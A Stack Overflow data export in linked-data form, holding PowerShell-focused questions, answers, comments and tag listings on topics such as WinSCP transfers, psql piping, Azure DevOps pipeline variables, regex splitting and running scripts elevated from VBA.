has body: I have a job in Task Scheduler to move .jpg files to another destination, but it flags some of the files with .filepart, and what I notice is that it happens to files above 100kb. I looked around to make changes in the Task Scheduler Setting for files more than 100kb to be processed without attaching them with the .filepart extensions but can't figure that out. Any suggestions are appreciated. Below is the structure of my script: @echo off "C:\Program Files (x86)\WinSCP\WinSCP.com" ^ /log="E:\Path\To\Your\WinSCP.log" /ini=nul ^ /command ^ "open sftp://username:password@ftp.example.com/ -hostkey=""ssh-rsa 4096 hostkey_value="" -privatekey=""E:\Path\To\Your\Private-Key.ppk""" ^ "cd /your_directory/" ^ "lcd E:\" ^ "get 92578*.jpg "Your\Destination\"" -transferresumesupport=off ^ "exit" set WINSCP_RESULT=%ERRORLEVEL% if %WINSCP_RESULT% equ 0 ( echo Success ) else ( echo Error ) exit /b %WINSCP_RESULT% I made changes to WinSCP setting for files above 100kb to be processed by increasing it to 200kb, and then ran the .bat file manually and it worked but not in the Task Scheduler, and I'm not sure what setting I need to change.
has title: Task Scheduler job generating .filepart extension for a .jpg
has answer: http://stackoverflow.com/a/79095384
upvote count: 1
tagged with: winscp
favorite count: 0
tagged with: batch-file
tagged with: windows
type: Question
tagged with: scheduled-tasks
tagged with: powershell
answer count: 1
downvote count: 1
type: UnansweredQuestion

http://stackoverflow.com/q/79090045
accepted answer: http://stackoverflow.com/a/79099606
has title: Powershell pipe psql commands using DB uri
tagged with: powershell
tagged with: postgresql
type: AnsweredQuestion
favorite count: 0
has comment: http://stackoverflow.com/comment/139463094
has comment: http://stackoverflow.com/comment/139461267
tagged with: database-connection
has answer: http://stackoverflow.com/a/79099606
tagged with: psql
type: Question
has body: I'm trying to move records from one database to another database using a powershell script with psql, in a single call. The select query result is copied to stdout, which is used in the second pipe command as an input for the insert query. The databases are on different locations. The source and destination tables have the same schema. I tried locally to pipe the commands using psql with connection params and it worked, because there was no need to change the DB connection password. Here is the the working block: $env:PGPASSWORD = 'local_pass'; # execute 2 queries in sequence $res = & $psqlPath -U 'user' -d 'localMasterDB' -h $'local' ` -c "\copy (SELECT * FROM target_table WHERE id IN ( $idsToMove)) TO stdout" ` | & $psqlPath -U 'postgres' -d 'localReplicaDB' -h 'local' ` -c 'COPY target_table FROM stdin' Because I need different DB connections, I must define 2 different DB passwords. This can be done by defining the DB connection with connection URIs (https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING-URIS). This is the result: $res = "\copy (SELECT * FROM target_table WHERE id IN ( $idsToMove)) TO stdout" ` | & $psqlPath "postgresql://user:local_pass@master_db:5432/target_table" ` | 'COPY target_table FROM stdin' ` # <== this is where the second psql command should start | & $psqlPath -U 'postgres' -d 'remote_db' Is there a way to pipe 2 psql commands that use db connection uris? Is there another similar way to achieve moving records with psql?
upvote count: 2
downvote count: 0
answer count: 1
score: 2

http://stackoverflow.com/a/79146113
has comment: http://stackoverflow.com/comment/139559736
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/139560169
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/139559781
answers question: http://stackoverflow.com/q/79146054
has comment: http://stackoverflow.com/comment/139559829
has body: -ArgumentList is available only in the PropertyAndMethodSet Parameter Set: (Get-Command ForEach-Object).Parameters['ArgumentList'].ParameterSets # Key Value # --- ----- # PropertyAndMethodSet System.Management.Automation.ParameterSetMetadata And -Parallel is available only in the ParallelParameterSet Parameter Set: (Get-Command ForEach-Object).Parameters['Parallel'].ParameterSets # Key Value # --- ----- # ParallelParameterSet System.Management.Automation.ParameterSetMetadata That's why you're getting this error, -Parallel and -ArgumentList cannot be used together due to not being in a same Parameter Set. You can read about_Parameter_Sets for more details. To fix your code you can get the local variables using the $using: scope modifier and removing -ArgumentList. Another consideration is that unless your Search-PIIInFile is defined in a Module that can be discovered thru $env:PSModulePath, you will most likely need to pass-in the definition of this function to the parallel scope (see code with comments). # store the function definition outside the parallel scope $functionDefinition = ${function:Search-PIIInFile}.ToString() $results = $files | ForEach-Object -Parallel { $FilePath = $using:_.FullName $Patterns = $using:Patterns # pass-in the function definition and define the function in this scope ${function:Search-PIIInFile} = $using:functionDefinition try { # Call the search function and return results return Search-PIIInFile -filePath $FilePath -patterns $Patterns } catch { Write-Output "Error processing file ${FilePath}: $_" } }
has comment: http://stackoverflow.com/comment/139559871

http://stackoverflow.com/comment/139718077
has text: @mklement0 Thanks for suggestion. My application is already running with elevated access. Even changing UseShellExecute = true, did not make any difference in the output.
type: Comment
comment on: http://stackoverflow.com/q/79229639
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139588989
comment on: http://stackoverflow.com/a/79161893
score: 2
type: Comment
has text: Given this is marked as a Powershell issue, may I suggst to write the full cmdlets and not the aliases? It makes easier to search and minimizes the risk of command confusion
type: AnswerComment

http://stackoverflow.com/comment/139504316
comment on: http://stackoverflow.com/q/79115375
has text: @mklement0 how you explain that everything works when this part is disabled?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139508623
score: 0
has text: There is not enough information to help you here. You could add `Set-PSDebug -Trace 2`, `Start-Transcript -Path C:\tmp\logs.logs` and maybe set `$DebugPreference = 'Continue'` too. Also from a personal note, when trying to run a native executable from powershell it is almost always best to use `Start-Process` or `[System.Diagnostics.Process]` to avoid strange issues. Yours may very likely be one of them. The call operator `&` (as well as `.\file.exe`) are best left to the interactive powershell and ad-hoc commands. Therefore avoid using it within scripts.
comment on: http://stackoverflow.com/q/79111405
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79178363
has comment: http://stackoverflow.com/comment/139639277
has comment: http://stackoverflow.com/comment/139657973
has comment: http://stackoverflow.com/comment/139657986
has comment: http://stackoverflow.com/comment/139639288
has comment: http://stackoverflow.com/comment/139663741
downvote count: 0
type: AcceptedAnswer
score: 2
has body: As mentioned in the comments, template expressions such as ${{ each ... }} are compiled before the pipeline starts and before the output variable is set. If you want to run each deployment in parallel I suggest you create a dedicated pipeline for the deployments, that is triggered after the output variable is set. For example, consider a pipeline named deploySomething: parameters: - name: filteredWebsitesNew displayName: 'A comma separated list of websites to deploy' type: string pool: vmImage: 'ubuntu-latest' # Disable CI-CD trigger trigger: none jobs: - ${{ each website in split(parameters.filteredWebsitesNew, ',') }}: - job: DeployJob_${{ website }} displayName: 'Deploy to ${{ website }}' environment: name: 'Production' resourceType: VirtualMachine steps: - script: echo "Deploying to website ${{ website }}" displayName: 'Deploy to ${{ website }}' After setting the output variable in the original pipeline you can configure a job to trigger the deploySomething pipeline as follows: jobs: - deployment: PreDeployJob displayName: 'PreDeployJob' environment: name: A strategy: runOnce: deploy: steps: - pwsh: | $filteredWebsites='foo,bar' Write-Host "##vso[task.setvariable variable=filteredWebsitesNew;isOutput=true]$filteredWebsites" name: GetWebsites - script: | echo "Output: $(GetWebsites.filteredWebsitesNew)" name: echovar - job: TriggerBuild displayName: 'Trigger Build' dependsOn: PreDeployJob # don't run this job if the output variable 'filteredWebsitesNew' is not set / is empty condition: >- and( succeeded(), ne(dependencies.PreDeployJob.outputs['PreDeployJob.GetWebsites.filteredWebsitesNew'], '') ) variables: filteredWebsitesPath: $[ dependencies.PreDeployJob.outputs['PreDeployJob.GetWebsites.filteredWebsitesNew'] ] timeoutInMinutes: 3 cancelTimeoutInMinutes: 1 steps: - checkout: none - script: | echo "Filtered Websites Path: $(filteredWebsitesPath)" displayName: 'Show variable' - pwsh: >- $run=$( az pipelines run --name "deploySomething" --organization $(System.Co…
has comment: http://stackoverflow.com/comment/139642911
upvote count: 2
has comment: http://stackoverflow.com/comment/139639567
type: Answer
answers question: http://stackoverflow.com/q/79176549
has comment: http://stackoverflow.com/comment/139663604
accepted answer of: http://stackoverflow.com/q/79176549
has comment: http://stackoverflow.com/comment/139643347
has comment: http://stackoverflow.com/comment/139643308

http://stackoverflow.com/comment/139591560
type: QuestionComment
type: Comment
score: 0
has text: It's a little odd that there's a difference. Start-ThreadJob says completed in both cases. The exception doesn't stop the script.
comment on: http://stackoverflow.com/q/79162911

http://stackoverflow.com/a/79177697
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79175787
score: 1
has body: I'll add some explanation: In regex * means "the character or sets of characters before it is repeated 0 or more times". apple* would mean "e coming after appl is repeated 0 or more times", thus splitting at appl plus any number of e Example: $StringArray = 'This appl for you', 'This apple for you', 'This appleeee for you', 'This apples for you', 'This appleeees for you' $StringArray | ForEach-Object { $_ -split '(apple*)' } would result into This appl for you This apple for you This appleeee for you This apple s for you This appleeee s for you As other already answered what you need in this specific case is instead ?, which means "the character before it's repeated 0 or 1 times" associated to the character s at the end of apple. example: $StringArray = 'This appl for you', 'This apple for you', 'This appleeee for you', 'This apples for you', 'This appleeees for you' $StringArray | ForEach-Object { $_ -split '(apples?)' ; write-host "`n"} would result into: This appl for you This apple for you This apple eee for you This apples for you This apple eees for you
upvote count: 1

http://stackoverflow.com/q/79103970
tagged with: powershell-5.1
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/78903480
has answer: http://stackoverflow.com/a/79338381
score: 0
has body: I am relatively new to Powershell. I am using bottom script to restore database. Set-DbatoolsInsecureConnection -SessionOnly Get-ChildItem "C:\NH\WH_BEE_$(Get-Date -Format "yyyyMMdd")_*.bak" | ` Restore-DbaDatabase ` -SqlInstance "Bee\BEESQL2022" ` -DatabaseName "WH_BEE" ` -FileMapping @{ "WH_Data1" = "C:\WH_BEE.MDF"; "WH_Data2" = "C:\WH_BEE.NDF"; "WH_Log" = "C:\WH_BEE.LDF" }; This is related to my previous post which I did not get it resolved. When I ran this, I got bottom error message: WARNING: [23:48:28][Restore-DbaDatabase] No backups passed through. This could mean the SQL instance cannot see the referenced files, the file's headers could not be read or some other issue Module: sql FullName Value Description -------- ----- ----------- sql.connection.trustcert True Trust SQL Server certificate sql.connection.encrypt False Encrypt connection to server As far as permission is concerned, I added "SQL Server Agent Account" and "Everyone" full permission to this folder and drive.
type: Question
tagged with: dbatools
tagged with: powershell
has title: Restore-DbaDatabase - No backups passed through
answer count: 1

http://stackoverflow.com/a/79128346
accepted answer of: http://stackoverflow.com/q/79127406
score: 2
type: Answer
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/79127406
has body: Why not parse the output into an array of objects where it becomes easy to get any part for each item you like and also store the results in (for instance) a CSV file you can open with Excel for later use? Something like: $result = git log Version_10.1.18.1...Version_10.1.18 --format=%s | Where-Object {$_ -match '^.*?(\d+):[\s#]*?(\d+):(.*)' } | ForEach-Object { [PsCustomObject]@{ CommitNumber = $matches[1] # not sure what this number is... WorkItem = $matches[2] Subject = $matches[3].Trim() } } Using your example lines: #output on screen $result | Format-Table -AutoSize CommitNumber WorkItem Subject ------------ -------- ------- 17055 94683 Add back in Treat Warnings as Errors 17054 94658 Add OwnerInfo to address data when multiple locations returned by LPS. # or save as CSV file $result | Export-Csv -Path 'C:\SomePath\SomeFolder\GitLog.csv' -NoTypeInformation -UseCulture
type: AcceptedAnswer

http://stackoverflow.com/comment/139535879
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79132942
has text: @Nifriz I don't think so - if `$_.StrongAuthenticationRequirements` lists a setting that isn't enforced you might get the wrong answer by simply counting the list - in that case OP's approach would actually give the correct answer

http://stackoverflow.com/comment/139607364
comment on: http://stackoverflow.com/a/79170074
type: AnswerComment
has text: sorry for disturbing you again, do you know how can I pass the value though a variable, something like `$httpCodePrefix = 4` `Query = @' fields @log, @timestamp, @message | filter @message like \"\\\"httpCode\\\":$httpCodePrefix\" | parse @message '\"message\":*' as Message | parse Message '\\\"httpCode\\\":*,' as httpCode | stats count() as CodeCount by httpCode | sort CodeCount desc | display CodeCount, httpCode | limit 10 '@` So I can change do different code searches, in the way that I did it above the variable name is taken like a part of the pattern instead of the value
type: Comment
score: 0

powershell
tags question: http://stackoverflow.com/q/79236266
tags question: http://stackoverflow.com/q/79111442
tags question: http://stackoverflow.com/q/79153871
tags question: http://stackoverflow.com/q/79213372
tags question: http://stackoverflow.com/q/79219297
tags question: http://stackoverflow.com/q/79095935
tags question: http://stackoverflow.com/q/79162911
tags question: http://stackoverflow.com/q/79207415
tags question: http://stackoverflow.com/q/79161849
tags question: http://stackoverflow.com/q/79181934
tags question: http://stackoverflow.com/q/79198075
tags question: http://stackoverflow.com/q/79136057
tags question: http://stackoverflow.com/q/79197561
tags question: http://stackoverflow.com/q/79178285
tags question: http://stackoverflow.com/q/79069723
tags question: http://stackoverflow.com/q/79183054
tag name: powershell
tags question: http://stackoverflow.com/q/79116129
tags question: http://stackoverflow.com/q/79101472
tags question: http://stackoverflow.com/q/79206642
tags question: http://stackoverflow.com/q/79147832
tags question: http://stackoverflow.com/q/79164499
tags question: http://stackoverflow.com/q/79110879
tags question: http://stackoverflow.com/q/79100351
tags question: http://stackoverflow.com/q/79078578
tags question: http://stackoverflow.com/q/79137119
tags question: http://stackoverflow.com/q/79103519
tags question: http://stackoverflow.com/q/79199122
tags question: http://stackoverflow.com/q/79229639
tags question: http://stackoverflow.com/q/79214443
tags question: http://stackoverflow.com/q/79099571
tags question: http://stackoverflow.com/q/79138741
tags question: http://stackoverflow.com/q/79084760
tags question: http://stackoverflow.com/q/79108858
tags question: http://stackoverflow.com/q/79136643
tags question: http://stackoverflow.com/q/79134578
tags question: http://stackoverflow.com/q/79109456
tags question: http://stackoverflow.com/q/79219476
tags question: http://stackoverflow.com/q/79162118
tags question: http://stackoverflow.com/q/79133521
tags question: http://stackoverflow.com/q/79175787
tags question: http://stackoverflow.com/q/79110499
tags question: http://stackoverflow.com/q/79114767
tags question: http://stackoverflow.com/q/79202450
tags question: http://stackoverflow.com/q/79087081
tags question: http://stackoverflow.com/q/79148904
tags question: http://stackoverflow.com/q/79193243
tags question: http://stackoverflow.com/q/79137517
tags question: http://stackoverflow.com/q/79185594
tags question: http://stackoverflow.com/q/79098625
tags question: http://stackoverflow.com/q/79105813
tags question: http://stackoverflow.com/q/79128851
tags question: http://stackoverflow.com/q/79165959
tags question: http://stackoverflow.com/q/79238760
tags question: http://stackoverflow.com/q/79181232
tags question: http://stackoverflow.com/q/79078102
tags question: http://stackoverflow.com/q/79201027
tags question: http://stackoverflow.com/q/79193052
tags question: http://stackoverflow.com/q/79117140
tags question: http://stackoverflow.com/q/79196973
tags question: http://stackoverflow.com/q/79071809
tags question: http://stackoverflow.com/q/79173130
tags question: http://stackoverflow.com/q/79185432
tags question: http://stackoverflow.com/q/79091839
tags question: http://stackoverflow.com/q/79121690
tags question: http://stackoverflow.com/q/79220211
tags question: http://stackoverflow.com/q/79226220
tags question: http://stackoverflow.com/q/79223966
tags question: http://stackoverflow.com/q/79231195
tags question: http://stackoverflow.com/q/79176779
tags question: http://stackoverflow.com/q/79138856
tags question: http://stackoverflow.com/q/79176549
tags question: http://stackoverflow.com/q/79111831
tags question: http://stackoverflow.com/q/79072635
tags question: http://stackoverflow.com/q/79152963
tags question: http://stackoverflow.com/q/79239902
tags question: http://stackoverflow.com/q/79079906
tags question: http://stackoverflow.com/q/79227225
tags question: http://stackoverflow.com/q/79096499
tags question: http://stackoverflow.com/q/79117908

http://stackoverflow.com/comment/139669618
type: Comment
score: 0
type: AnswerComment
has text: manual download of the package/.exe is not allowed in our environment.
comment on: http://stackoverflow.com/a/79205974

http://stackoverflow.com/q/79158483
type: Question
downvote count: 0
answer count: 1
linked to: http://stackoverflow.com/q/78991418
has comment: http://stackoverflow.com/comment/139583084
has comment: http://stackoverflow.com/comment/139583105
has comment: http://stackoverflow.com/comment/139583108
has comment: http://stackoverflow.com/comment/139583359
has comment: http://stackoverflow.com/comment/139583200
tagged with: powershell
has comment: http://stackoverflow.com/comment/139582407
has comment: http://stackoverflow.com/comment/139582211
score: 1
type: UnansweredQuestion
has body: I’m working on a PowerShell script that automates the opening of multiple Microsoft Edge browser windows with specific URLs. The script is intended to open five different websites, wait for a moment, and rotate the "views" $URLs = @( "https://www.youtube.com", "https://google.de", "https://heise.de", "https://amazon.de", "https://f-i.de" ) $FensterTitel = @( "YouTube - Profil 1 - Microsoft Edge", "Google - Profil 1 - Microsoft Edge", "heise online - IT-News, Nachrichten und Hintergründe | heise online - Profil 1 - Microsoft Edge", "Amazon.de: Günstige Preise für Elektronik & Foto, Filme, Musik, Bücher, Games, Spielzeug & mehr - Profil 1 - Microsoft Edge", "Startseite | Finanz Infomatik - Profil 1 - Microsoft Edge" ) $global:RotationAktiv = $true $EdgeProzesse = @() for ($i = 0; $i -lt 5; $i++) { Write-Host "Öffne Edge-Fenster $($i + 1) mit URL: $($URLs[$i])" Start-Process -FilePath $EdgePfad -ArgumentList "--new-window", $URLs[$i] } Start-Sleep -Seconds 10 Write-Host "Alle Edge-Fenster wurden erfolgreich gestartet." Add-Type @" using System; using System.Runtime.InteropServices; public class WinAPI { [DllImport("user32.dll")] public static extern bool MoveWindow(IntPtr hWnd, int X, int Y, int nWidth, int nHeight, bool bRepaint); [DllImport("user32.dll", SetLastError = true)] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); } "@ function GetWindow { param ( [string]$fensterTitel ) $hWnd = [WinAPI]::FindWindow([NullString]::Value, $fensterTitel) if ($hWnd -ne [IntPtr]::Zero) { Write-Host "Fenster gefunden: $fensterTitel" Write-Host "Fenster-Handle: $hWnd" } else { Write-Host "Fenster mit Titel '$fensterTitel' nicht gefunden." } return $hWnd } function Ansicht1 { $hWnd = GetWindow ($FensterTitel[1]) if ($hWnd -ne [IntPtr]::Zero) { [WinAPI]::MoveWindow($hWnd, 0, 0, 1920, 1080, $true) #Vollbild } } function Ansicht2 { $hWnd = GetWindow($FensterTitel[2]) if ($hWnd -ne [IntPtr]::Zero) { [WinAPI]::MoveWindow($hWnd, 0, 0, 1920, 1080, $true) #V…
upvote count: 1
has comment: http://stackoverflow.com/comment/139583774
favorite count: 0
has answer: http://stackoverflow.com/a/79159417
tagged with: winapi
has comment: http://stackoverflow.com/comment/139583537
has title: PowerShell findWindow to Circle TAPS
has comment: http://stackoverflow.com/comment/139583253

http://stackoverflow.com/comment/139621210
has text: @mklement0 : Why would anybody use AllScreens() method when they really want the monitor mode?
type: Comment
comment on: http://stackoverflow.com/a/79177773
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139717968
score: 0
type: QuestionComment
has text: I'd recommend to _not_ make the Client access the Database directly via Network. I'd suggest to provide a DataBase API Service, that exposes an Application-Specific Interface to the Network. And then have that API Service talk to your Database.
type: Comment
comment on: http://stackoverflow.com/q/79229639

http://stackoverflow.com/comment/139534635
score: 0
has text: @Shuzheng Any update on the issue?
comment on: http://stackoverflow.com/q/79102062
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79112227
has body: The two RHS operands of PowerShell's -replaceoperator require distinct syntax forms (both expressed as strings); that is, in &lt;input-string&gt; -replace &lt;regex&gt;, &lt;substitution&gt;: &lt;regex&gt; is a regex, in which \ is a metacharacter (among several others) and therefore requires escaping as \\ in order to be interpreted verbatim. To escape a regex operand that may contain \ characters and/or other regex metacharacters (e.g. .) as a whole in a manner that ensures that it is interpreted verbatim, pass it to [regex]::Escape(...) &lt;substitution&gt; is a substitution expression, in which \ is not a metacharacter and is therefore used as-is - no escaping needed. Only $ is a metacharacter in substitution expressions (used to refer to what the regex captured, e.g. $1 to refer to the first capture group's value), requiring a verbatim $ to be escaped as $$. To escape a substitution operand that may contain $ characters meant to be used verbatim, call .Replace('$', '$$') on it. For a comprehensive overview of the -replace operator, see this answer. It follows from the above that \\ is treated differently in the two RHS operands, and that the following, which looks like a no-op in fact replaces literal \ chars. in the input with literal \\ each: # -&gt; 'a\\b' 'a\b' -replace '\\', # regex: matches verbatim \ (escaping needed) '\\' # substitution expression: uses \\ verbatim (no escaping needed) To illustrate programmatic escaping of both operands to ensure their literal treatment: # -&gt; 'a\\b' 'a\b' -replace [regex]::Escape('\'), '\\'.Replace('$', '$$') Note: The .Replace() operation obviously has no effect here, but illustrates how a substitution operand must be escaped in general. If both operands as a whole are to be treated literally, it is more efficient to use the literal replacements performed by System.String.Replace() instead, though note that only .NET / PowerShell (Core) 7 has overloads that allow for case-insensitive replacements (all of PowerShell…
score: 1
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/79112116
downvote count: 1

http://stackoverflow.com/comment/139513873
has text: According to https://stackoverflow.com/questions/53965695/how-to-set-variable-within-script-section-of-gitlab-ci-yml-file, variables should be set with the syntax of `VARIABLE=value`, not `$VARIABLE=value`. Try if that works.
comment on: http://stackoverflow.com/q/79120662
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/139457330
type: QuestionComment
type: Comment
score: 0
has text: @SantiagoSquarzon no I am not embedding any code from powershell . I am loading C# DLL (Add-Type) and then calling the exported method.
comment on: http://stackoverflow.com/q/79089859

gitlab-ci-runner
tag name: gitlab-ci-runner
type: Tag
tags question: http://stackoverflow.com/q/79148904

http://stackoverflow.com/q/79176549
has comment: http://stackoverflow.com/comment/139616316
score: 1
has comment: http://stackoverflow.com/comment/139616201
has comment: http://stackoverflow.com/comment/139636503
upvote count: 1
has title: Azure DevOps: Unable to Access PowerShell Output Variable in Template - Variable Not Resolving in Template
tagged with: yaml
favorite count: 0
accepted answer: http://stackoverflow.com/a/79178363
linked to: http://stackoverflow.com/q/59067096
has comment: http://stackoverflow.com/comment/139616306
has answer: http://stackoverflow.com/a/79178363
type: Question
answer count: 1
tagged with: azure-devops
has body: I'm having trouble accessing an output variable from a PowerShell task in my Azure DevOps pipeline and passing it into a deployment template. When I set the variable in a PowerShell script and try to pass it into my template, it doesn't resolve as expected. The issue is that the variable $(filteredWebsitesPath) in my template is not resolving to the expected value. Instead, it just prints as $(filteredWebsitesPath) instead of the actual paths or values I need. trigger: - main pool: vmImage: 'windows-latest' stages: - stage: Build displayName: 'Build Stage' jobs: - job: BuildJob steps: - task: Npm@1 - task: Npm@1 - task: PublishBuildArtifacts@1 inputs: PathtoPublish: 'build' ArtifactName: 'drop' - stage: Deploy displayName: 'Deploy to Production' dependsOn: Build condition: succeeded() jobs: - deployment: PreDeployJob displayName: 'PreDeployJob' environment: name: 'Production' resourceType: VirtualMachine strategy: runOnce: deploy: steps: - task: PowerShellOnTargetMachines@3 displayName: 'Get Website Names' name: GetWebsites inputs: Machines: 'ip:port' InlineScript: | $websites = Get-ChildItem -Directory -Path 'C:\myPath\' | Select-Object -ExpandProperty Name $filteredWebsites = $websites -join ',' Write-Host "##vso[task.setvariable variable=filteredWebsitesNew;isOutput=true]$filteredWebsites" - script: echo "Output: $(GetWebsites.filteredWebsitesNew)" name: echovar - job: SetVariableJob displayName: "Set Variable for Template" dependsOn: PreDeployJob variables: filteredWebsitesPath: $[ dependencies.PreDeployJob.outputs['PreDeployJob.GetWebsites.filteredWebsitesNew'] ] steps: - script: echo "Filtered Websites Path $(filteredWebsitesPath)" - template: templates/deploy-template.yml parameters: filteredWebsitesNew: $(filteredWebsitesPath) And here’s the template, where I’m trying to use filteredWebsitesNew: parameters: filteredWebsitesNew: '' jobs: - ${{ each website in split(parameters.filteredWebsitesNew, ',') }}: - deployment: DeployJob displayName: 'Deploy to ${{ we…
has comment: http://stackoverflow.com/comment/139619118
tagged with: cicd
has comment: http://stackoverflow.com/comment/139616323
downvote count: 0
tagged with: azure-pipelines
tagged with: powershell
has comment: http://stackoverflow.com/comment/139616072
type: AnsweredQuestion

http://stackoverflow.com/q/79185049
favorite count: 0
accepted answer: http://stackoverflow.com/a/79186190
upvote count: 1
has comment: http://stackoverflow.com/comment/139631606
has title: Create symlink in powershell relative to the working directory
answer count: 1
has body: How can I make a symbolic link in Powershell relative to the working directory, rather than relative to the Path (without changing my working directory) In GNU/linux command I can do it like this ln -s -r ./change/99.md ./abuse/change/99.md resulting in . ├── abuse │ └── change │ └── 99.md -> ../../change/99.md └── change └── 99.md So this does NOT work in Powershell 7.1 New-Item -ItemType SymbolicLink -Path ".\abuse\change\99.md" -Target ".\change\99.md"
downvote count: 0
has comment: http://stackoverflow.com/comment/139633607
tagged with: powershell
type: AnsweredQuestion
type: Question
score: 1
has answer: http://stackoverflow.com/a/79186190

http://stackoverflow.com/comment/139585947
score: 0
comment on: http://stackoverflow.com/q/79160366
has text: @SantiagoSquarzon yes
type: QuestionComment
type: Comment

ide
tags question: http://stackoverflow.com/q/79136266
type: Tag
tag name: ide

http://stackoverflow.com/comment/139672754
has text: @jdweng Thank you for your prompt response, i have just checked and seems like the problem is the WSL itself. I tried using Powershell 7 on wsl as well and the error remains. Any other suggestioins ?
score: 0
comment on: http://stackoverflow.com/q/79106388
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139458370
type: Comment
comment on: http://stackoverflow.com/a/79090339
score: 0
type: AnswerComment
has text: Thank you!! This did the trick. It looks ugly as hell, but it works and that's all that matters!

http://stackoverflow.com/q/79173069
linked to: http://stackoverflow.com/q/78352606
linked to: http://stackoverflow.com/q/49204918
score: 0
has comment: http://stackoverflow.com/comment/139958585
upvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/75722846
has title: How to do a topological sort in PowerShell
tagged with: sorting
tagged with: compare
has body: For my own implementation of a Build-Module, I am in need to sort an array of functions and classes based on its dependencies. A similar question How to sort array of dependencies? has a helpful hint but it doesn't include any code. The question Topological Sorting using LINQ does include code but only C# based. Therefore I decided to create simple data set of PSCustomObjects to be able to test my idea with a Minimal, Reproducible Example (in my own answer) before putting it in my full blown project: $Array = ConvertFrom-Json @' [ { "Name": "Function1", "Dependency": ["Function3"] }, { "Name": "Function2", "Dependency": ["Function3", "Function4", "Function5"] }, { "Name": "Function3", "Dependency": [] }, { "Name": "Function4", "Dependency": ["Function1", "Function5"] }, { "Name": "Function5", "Dependency": ["Function1"] } ] '@ The task is to sort the objects so that any object that is required by an other object is loaded first, meaning the expected result order should look like: Name Dependency ---- ---------- Function3 {} Function1 {Function3} Function5 {Function1} Function4 {Function1, Function5} Function2 {Function3, Function4, Function5} I have put my own answer below as possible approach and reuse but welcome any other comment or answer to tackle a topological sort in PowerShell differently.
tagged with: dependencies
accepted answer: http://stackoverflow.com/a/79275787
type: Question
linked to: http://stackoverflow.com/q/1982592
linked to: http://stackoverflow.com/q/36152105
answer count: 1
has answer: http://stackoverflow.com/a/79275787
tagged with: topological-sort
tagged with: powershell
has comment: http://stackoverflow.com/comment/139609907
downvote count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/139489614
type: Comment
comment on: http://stackoverflow.com/a/79096732
score: 0
type: AnswerComment
has text: None of this worked.

http://stackoverflow.com/comment/139557861
type: Comment
score: 0
type: AnswerComment
has text: @BdR try removing `-ReadCount`, the patterns and logic provided in this answer are correct: https://i.imgur.com/xeeZoTZ.png
comment on: http://stackoverflow.com/a/79145053

http://stackoverflow.com/comment/139468491
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/79095501
score: 1
has text: It seems to be the actually fastest and best understandable way.

http://stackoverflow.com/q/79155083
has comment: http://stackoverflow.com/comment/139577775
has answer: http://stackoverflow.com/a/79156430
has title: Read all messages from simple, small EventHub with PowerShell
has comment: http://stackoverflow.com/comment/139577841
tagged with: azure-eventhub
has answer: http://stackoverflow.com/a/79156578
downvote count: 0
tagged with: powershell
type: UnansweredQuestion
has body: We have a small Azure Event Hubs Instance (infinite retention with a few hundred events) and would like to view/list all events from offset 0 with PowerShell. We can POST new messages to https://$EventHubsNamespace.servicebus.windows.net/$EventHubsName/messages. Is there a way to read all messages/events?
score: 1
upvote count: 1
favorite count: 0
answer count: 2
type: Question

http://stackoverflow.com/comment/139456412
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79088793
has text: Hi, thank you for your reply. I have tried with the JSR223 Test Elements and Groovy and still get the same result. Here is my groovy code: String loginResults=""; if(prev.isSuccessful()){ loginResults = "true"; vars.put("loginResults", loginResults); } else { loginResults = "false"; vars.put("loginResults", loginResults); }
type: Comment

http://stackoverflow.com/comment/139560169
type: Comment
score: 0
has text: I'll try my best, thanks for the help and how the parallel scope works!
comment on: http://stackoverflow.com/a/79146113
type: AnswerComment

http://stackoverflow.com/q/79131331
has comment: http://stackoverflow.com/comment/139532975
has title: Running Powershell from VBA with Administrator privileges
score: 8
tagged with: elevated-privileges
answer count: 1
has comment: http://stackoverflow.com/comment/139533058
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139532993
has comment: http://stackoverflow.com/comment/139532998
downvote count: 0
tagged with: powershell
tagged with: vba
linked to: http://stackoverflow.com/q/50765949
has answer: http://stackoverflow.com/a/79131379
accepted answer: http://stackoverflow.com/a/79131379
linked to: http://stackoverflow.com/q/50553894
favorite count: 0
has body: I have not been able to successfully run my PowerShell script from VBA with administrator privileges. I have examined the various answers in this forum and attempted to adapt with no success. When I execute the VBA script below, there is a window that will open for less than one second and then close (and I don't know if it is a Powershell or a Command window) and the script does not run as evidenced by not doing its job, and finishing immediately (not waiting the ten seconds). Also, there is nothing written to StdOut or StdErr If the script is run from an elevated command window, or an elevated Powershell window, it runs as designed. The script is designed to temporarily disconnect the network adapter. It is simplified at this stage and only works on an adapter named Ethernet. Powershell Script Disable-NetAdapter -name Ethernet -confirm:$false Start-Sleep -Seconds 10 Enable-NetAdapter -name Ethernet -confirm:$false Functioning elevated command window code: C:\PowerShell Scripts>"disable network temporarily.ps1" Non-Functioning VBA Code 'Needs reference to Windows Script Host Object Model Option Explicit Sub TempNetworkDisable() Dim wshShell As wshShell Dim wshShellExec As Object Dim strCommand As String Dim strOutput strCommand = "pwsh.exe -c Start-Process -Verb RunAs pwsh.exe \"" -ExecutionPolicy Unrestricted -NoExit -f `\""C:\PowerShell Scripts\Disable Network Temporarily.ps1`\""" Set wshShell = New wshShell Set wshShellExec = wshShell.Exec(strCommand) strOutput = wshShellExec.StdOut.ReadAll() Debug.Print "StdOut:", strOutput strOutput = wshShellExec.StdErr.ReadAll() 